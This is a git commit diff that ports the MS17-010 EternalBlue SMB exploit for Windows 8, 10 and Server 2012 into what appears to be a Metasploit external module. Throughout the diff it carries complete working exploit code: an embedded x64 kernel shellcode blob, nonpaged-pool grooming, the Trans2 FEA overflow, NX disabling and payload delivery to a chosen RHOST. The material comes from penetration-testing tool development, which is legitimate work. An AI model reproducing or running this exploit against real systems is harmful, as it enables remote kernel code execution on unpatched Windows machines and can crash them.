Convert PoC to external module

GSoC/Meterpreter_Web_Console
William Vu 2018-06-15 16:43:38 -05:00
parent 02384371c4
commit ecea36c459
1 changed files with 449 additions and 358 deletions

View File

@ -1,11 +1,16 @@
#!/usr/bin/python
#!/usr/bin/env python2.7
from metasploit import module
from impacket import smb, ntlm
from struct import pack
from base64 import b64decode
import sys
import socket
'''
EternalBlue exploit for Windows 8 and 2012 by sleepya
metadata = {
'name': 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+',
'description': '''
EternalBlue exploit for Windows 8, Windows 10, and 2012 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
The exploit support only x64 target
@ -13,6 +18,7 @@ Tested on:
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 10 Pro Build 10240 x64
- Windows 10 Enterprise Evaluation Build 10586 x64
Default Windows 8 and later installation without additional service info:
@ -33,7 +39,7 @@ Exploit info:
On Windows 8 and Wndows 2012, the NX bit is set on this memory page. Need to disable it before controlling RIP.
- The exploit is likely to crash a target when it failed
- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
- If exploit failed but target does not crash, try increasing 'GroomAllocations' value (at least 5)
- See the code and comment for exploit detail.
@ -44,13 +50,99 @@ Disable NX method:
- Write '\x00' to disable the NX flag
- Second trigger, do the same as Windows 7 exploit
- From my test, if exploit disable NX successfully, I always get code execution
'''
''',
'authors': [
'Equation Group', # OG research and exploit
'Shadow Brokers', # Hack and dump
'sleepya', # Research and PoC
'wvu' # Babby's first external module
],
'references': [
{'type': 'msb', 'ref': 'MS17-010'},
{'type': 'cve', 'ref': '2017-0143'},
{'type': 'cve', 'ref': '2017-0144'},
{'type': 'cve', 'ref': '2017-0145'},
{'type': 'cve', 'ref': '2017-0146'},
{'type': 'cve', 'ref': '2017-0147'},
{'type': 'cve', 'ref': '2017-0148'},
{'type': 'edb', 'ref': '42030'},
{'type': 'url', 'ref': 'https://github.com/worawit/MS17-010'},
{'type': 'aka', 'ref': 'ETERNALBLUE'}
],
'date': 'Mar 14 2017',
'type': 'remote_exploit_generic',
'rank': 'AverageRanking',
'privileged': True,
'wfsdelay': 5,
'targets': [
{'platform': 'win', 'arch': 'x64'}
],
'options': {
'RHOST': {'type': 'address', 'description': 'Target server', 'required': True, 'default': None},
'RPORT': {'type': 'port', 'description': 'Target server port', 'required': True, 'default': 445},
'GroomAllocations': {'type': 'int', 'description': 'Initial number of times to groom the kernel pool.', 'required': True, 'default': 13},
# if anonymous can access any share folder, 'IPC$' is always accessible.
# authenticated user is always able to access 'IPC$'.
# Windows 2012 does not allow anonymous to login if no share is accessible.
USERNAME=''
PASSWORD=''
'SMBUser': {'type': 'string', 'description': '(Optional) The username to authenticate as', 'required': False, 'default': ''},
'SMBPass': {'type': 'string', 'description': '(Optional) The password for the specified username', 'required': False, 'default': ''}
}
}
eternalblue_kshellcode_x64 = (
'\x55\xe8\x2e\x00\x00\x00\xb9\x82\x00\x00\xc0\x0f\x32\x4c\x8d'
'\x0d\x34\x00\x00\x00\x44\x39\xc8\x74\x19\x39\x45\x00\x74\x0a'
'\x89\x55\x04\x89\x45\x00\xc6\x45\xf8\x00\x49\x91\x50\x5a\x48'
'\xc1\xea\x20\x0f\x30\x5d\xc3\x48\x8d\x2d\x00\x10\x00\x00\x48'
'\xc1\xed\x0c\x48\xc1\xe5\x0c\x48\x83\xed\x70\xc3\x0f\x01\xf8'
'\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8b\x24\x25\xa8'
'\x01\x00\x00\x6a\x2b\x65\xff\x34\x25\x10\x00\x00\x00\x50\x50'
'\x55\xe8\xc5\xff\xff\xff\x48\x8b\x45\x00\x48\x83\xc0\x1f\x48'
'\x89\x44\x24\x10\x51\x52\x41\x50\x41\x51\x41\x52\x41\x53\x31'
'\xc0\xb2\x01\xf0\x0f\xb0\x55\xf8\x75\x14\xb9\x82\x00\x00\xc0'
'\x8b\x45\x00\x8b\x55\x04\x0f\x30\xfb\xe8\x0e\x00\x00\x00\xfa'
'\x41\x5b\x41\x5a\x41\x59\x41\x58\x5a\x59\x5d\x58\xc3\x41\x57'
'\x41\x56\x57\x56\x53\x50\x4c\x8b\x7d\x00\x49\xc1\xef\x0c\x49'
'\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x66\x41\x81\x3f\x4d'
'\x5a\x75\xf1\x4c\x89\x7d\x08\x65\x4c\x8b\x34\x25\x88\x01\x00'
'\x00\xbf\x78\x7c\xf4\xdb\xe8\x01\x01\x00\x00\x48\x91\xbf\x3f'
'\x5f\x64\x77\xe8\xfc\x00\x00\x00\x8b\x40\x03\x89\xc3\x3d\x00'
'\x04\x00\x00\x72\x03\x83\xc0\x10\x48\x8d\x50\x28\x4c\x8d\x04'
'\x11\x4d\x89\xc1\x4d\x8b\x09\x4d\x39\xc8\x0f\x84\xc6\x00\x00'
'\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6'
'\x4d\x29\xce\xbf\xe1\x14\x01\x17\xe8\xbb\x00\x00\x00\x8b\x78'
'\x03\x83\xc7\x08\x48\x8d\x34\x19\xe8\xf4\x00\x00\x00\x3d\x5a'
'\x6a\xfa\xc1\x74\x10\x3d\xd8\x83\xe0\x3e\x74\x09\x48\x8b\x0c'
'\x39\x48\x29\xf9\xeb\xe0\xbf\x48\xb8\x18\xb8\xe8\x84\x00\x00'
'\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b'
'\x08\x48\x39\xde\x74\xf7\x4a\x8d\x14\x33\xbf\x3e\x4c\xf8\xce'
'\xe8\x69\x00\x00\x00\x8b\x40\x03\x48\x83\x7c\x02\xf8\x00\x74'
'\xde\x48\x8d\x4d\x10\x4d\x31\xc0\x4c\x8d\x0d\xa9\x00\x00\x00'
'\x55\x6a\x01\x55\x41\x50\x48\x83\xec\x20\xbf\xc4\x5c\x19\x6d'
'\xe8\x35\x00\x00\x00\x48\x8d\x4d\x10\x4d\x31\xc9\xbf\x34\x46'
'\xcc\xaf\xe8\x24\x00\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\xa3'
'\x48\x8b\x45\x20\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89'
'\x40\x08\xeb\x90\x58\x5b\x5e\x5f\x41\x5e\x41\x5f\xc3\xe8\x02'
'\x00\x00\x00\xff\xe0\x53\x51\x56\x41\x8b\x47\x3c\x41\x8b\x84'
'\x07\x88\x00\x00\x00\x4c\x01\xf8\x50\x8b\x48\x18\x8b\x58\x20'
'\x4c\x01\xfb\xff\xc9\x8b\x34\x8b\x4c\x01\xfe\xe8\x1f\x00\x00'
'\x00\x39\xf8\x75\xef\x58\x8b\x58\x24\x4c\x01\xfb\x66\x8b\x0c'
'\x4b\x8b\x58\x1c\x4c\x01\xfb\x8b\x04\x8b\x4c\x01\xf8\x5e\x59'
'\x5b\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x85\xc0\x75'
'\xf6\x92\x5a\xc3\x55\x53\x57\x56\x41\x57\x49\x8b\x28\x4c\x8b'
'\x7d\x08\x52\x5e\x4c\x89\xcb\x31\xc0\x44\x0f\x22\xc0\x48\x89'
'\x02\x89\xc1\x48\xf7\xd1\x49\x89\xc0\xb0\x40\x50\xc1\xe0\x06'
'\x50\x49\x89\x01\x48\x83\xec\x20\xbf\xea\x99\x6e\x57\xe8\x65'
'\xff\xff\xff\x48\x83\xc4\x30\x85\xc0\x75\x45\x48\x8b\x3e\x48'
'\x8d\x35\x4d\x00\x00\x00\xb9\x00\x06\x00\x00\xf3\xa4\x48\x8b'
'\x45\xf0\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x00\x66\x83'
'\x78\x48\x18\x75\xf6\x48\x8b\x50\x50\x81\x7a\x0c\x33\x00\x32'
'\x00\x75\xe9\x4c\x8b\x78\x20\xbf\x5e\x51\x5e\x83\xe8\x22\xff'
'\xff\xff\x48\x89\x03\x31\xc9\x88\x4d\xf8\xb1\x01\x44\x0f\x22'
'\xc1\x41\x5f\x5e\x5f\x5b\x5d\xc3\x48\x92\x31\xc9\x51\x51\x49'
'\x89\xc9\x4c\x8d\x05\x0d\x00\x00\x00\x89\xca\x48\x83\xec\x20'
'\xff\xd0\x48\x83\xc4\x30\xc3'
)
# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
NTFEA_SIZE = 0x9000
@ -234,9 +326,9 @@ def sendEcho(conn, tid, data):
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('got good ECHO response')
module.log('got good ECHO response')
else:
print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))
module.log('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()), 'error')
# override SMB.neg_session() to allow forcing ntlm authentication
@ -248,7 +340,7 @@ class MYSMB(smb.SMB):
def neg_session(self, extended_security = True, negPacket = None):
smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket)
def createSessionAllocNonPaged(target, size):
def createSessionAllocNonPaged(target, size, username, password):
conn = MYSMB(target, use_ntlmv2=False) # with this negotiation, FLAGS2_EXTENDED_SECURITY is not set
_, flags2 = conn.get_flags()
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
@ -278,10 +370,10 @@ def createSessionAllocNonPaged(target, size):
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('SMB1 session setup allocate nonpaged pool success')
module.log('SMB1 session setup allocate nonpaged pool success')
return conn
if USERNAME:
if username:
# Try login with valid user because anonymous user might get access denied on Windows Server 2012.
# Note: If target allows only NTLMv2 authentication, the login will always fail.
# support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16)
@ -291,20 +383,20 @@ def createSessionAllocNonPaged(target, size):
# new SMB packet to reset flags
pkt = smb.NewSMBPacket()
pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(PASSWORD))
pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(password))
# UnicodePasswordLen field is in Reserved for extended security format.
sessionSetup['Parameters']['Reserved'] = len(pwd_unicode)
sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(USERNAME)) + pwd_unicode + USERNAME + '\x00'*16
sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(username)) + pwd_unicode + username + '\x00'*16
pkt.addCommand(sessionSetup)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('SMB1 session setup allocate nonpaged pool success')
module.log('SMB1 session setup allocate nonpaged pool success')
return conn
# lazy to check error code, just print fail message
print('SMB1 session setup allocate nonpaged pool failed')
module.log('SMB1 session setup allocate nonpaged pool failed', 'error')
sys.exit(1)
@ -407,9 +499,9 @@ def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLa
conn.sendSMB(pkt)
recvPkt = conn.recvSMB() # must be success
if recvPkt.getNTStatus() == 0:
print('got good NT Trans response')
module.log('got good NT Trans response')
else:
print('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()))
module.log('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()), 'error')
sys.exit(1)
# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
@ -429,8 +521,8 @@ def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLa
# connect to target and send a large nbss size with data 0x80 bytes
# this method is for allocating big nonpaged pool on target
def createConnectionWithBigSMBFirst80(target, for_nx=False):
sk = socket.create_connection((target, 445))
def createConnectionWithBigSMBFirst80(target, port, for_nx=False):
sk = socket.create_connection((target, port))
pkt = '\x00' + '\x00' + pack('>H', 0x8100)
# There is no need to be SMB2 because we want the target free the corrupted buffer.
# Also this is invalid SMB2 message.
@ -448,19 +540,19 @@ def createConnectionWithBigSMBFirst80(target, for_nx=False):
return sk
def exploit(target, shellcode, numGroomConn):
def _exploit(target, port, feaList, shellcode, numGroomConn, username, password):
# force using smb.SMB for SMB1
conn = smb.SMB(target, target)
conn.login(USERNAME, PASSWORD)
conn.login(username, password)
server_os = conn.get_server_os()
print('Target OS: '+server_os)
module.log('Target OS: '+server_os)
if server_os.startswith("Windows 10 "):
build = int(server_os.split()[-1])
if build >= 14393: # version 1607
print('This exploit does not support this target')
module.log('This exploit does not support this target', 'error')
sys.exit()
elif not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")):
print('This exploit does not support this target')
module.log('This exploit does not support this target', 'error')
sys.exit()
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
@ -471,31 +563,31 @@ def exploit(target, shellcode, numGroomConn):
# Another TRANS2_OPEN2 (0) with special feaList for disabling NX
nxconn = smb.SMB(target, target)
nxconn.login(USERNAME, PASSWORD)
nxconn.login(username, password)
nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False)
# create some big buffer at server
# this buffer MUST NOT be big enough for overflown buffer
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x2010)
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x2010, username, password)
# groom nonpaged pool
# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
srvnetConn = []
for i in range(numGroomConn):
sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
sk = createConnectionWithBigSMBFirst80(target, port, for_nx=True)
srvnetConn.append(sk)
# create buffer size NTFEA_SIZE at server
# this buffer will be replaced by overflown buffer
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE-0x10)
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE-0x10, username, password)
# disconnect allocConn to free buffer
# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
allocConn.get_socket().close()
# hope one of srvnetConn is next to holeConn
for i in range(5):
sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
sk = createConnectionWithBigSMBFirst80(target, port, for_nx=True)
srvnetConn.append(sk)
# remove holeConn to create hole for fea buffer
@ -507,9 +599,9 @@ def exploit(target, shellcode, numGroomConn):
recvPkt = nxconn.recvSMB()
retStatus = recvPkt.getNTStatus()
if retStatus == 0xc000000d:
print('good response status for nx: INVALID_PARAMETER')
module.log('good response status for nx: INVALID_PARAMETER')
else:
print('bad response status for nx: 0x{:08x}'.format(retStatus))
module.log('bad response status for nx: 0x{:08x}'.format(retStatus), 'error')
# one of srvnetConn struct header should be modified
# send '\x00' to disable nx
@ -522,9 +614,9 @@ def exploit(target, shellcode, numGroomConn):
recvPkt = conn.recvSMB()
retStatus = recvPkt.getNTStatus()
if retStatus == 0xc000000d:
print('good response status: INVALID_PARAMETER')
module.log('good response status: INVALID_PARAMETER')
else:
print('bad response status: 0x{:08x}'.format(retStatus))
module.log('bad response status: 0x{:08x}'.format(retStatus), 'error')
# one of srvnetConn struct header should be modified
# a corrupted buffer will write recv data in designed memory address
@ -543,27 +635,26 @@ def exploit(target, shellcode, numGroomConn):
conn.logoff()
conn.get_socket().close()
def exploit(args):
rport = int(args['RPORT'])
numGroomConn = int(args['GroomAllocations'])
smbuser = args['SMBUser'] if 'SMBUser' in args else ''
smbpass = args['SMBPass'] if 'SMBPass' in args else ''
if len(sys.argv) < 3:
print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
sys.exit(1)
TARGET=sys.argv[1]
numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])
fp = open(sys.argv[2], 'rb')
sc = fp.read()
fp.close()
sc = eternalblue_kshellcode_x64 + b64decode(args['payload_encoded'])
if len(sc) > 0xe80:
print('Shellcode too long. The place that this exploit put a shellcode is limited to {} bytes.'.format(0xe80))
module.log('Shellcode too long. The place that this exploit put a shellcode is limited to {} bytes.'.format(0xe80), 'error')
sys.exit()
# Now, shellcode is known. create a feaList
feaList = createFeaList(len(sc))
print('shellcode size: {:d}'.format(len(sc)))
print('numGroomConn: {:d}'.format(numGroomConn))
module.log('shellcode size: {:d}'.format(len(sc)))
module.log('numGroomConn: {:d}'.format(numGroomConn))
exploit(TARGET, sc, numGroomConn)
print('done')
_exploit(args['RHOST'], rport, feaList, sc, numGroomConn, smbuser, smbpass)
module.log('done')
if __name__ == '__main__':
module.run(metadata, exploit)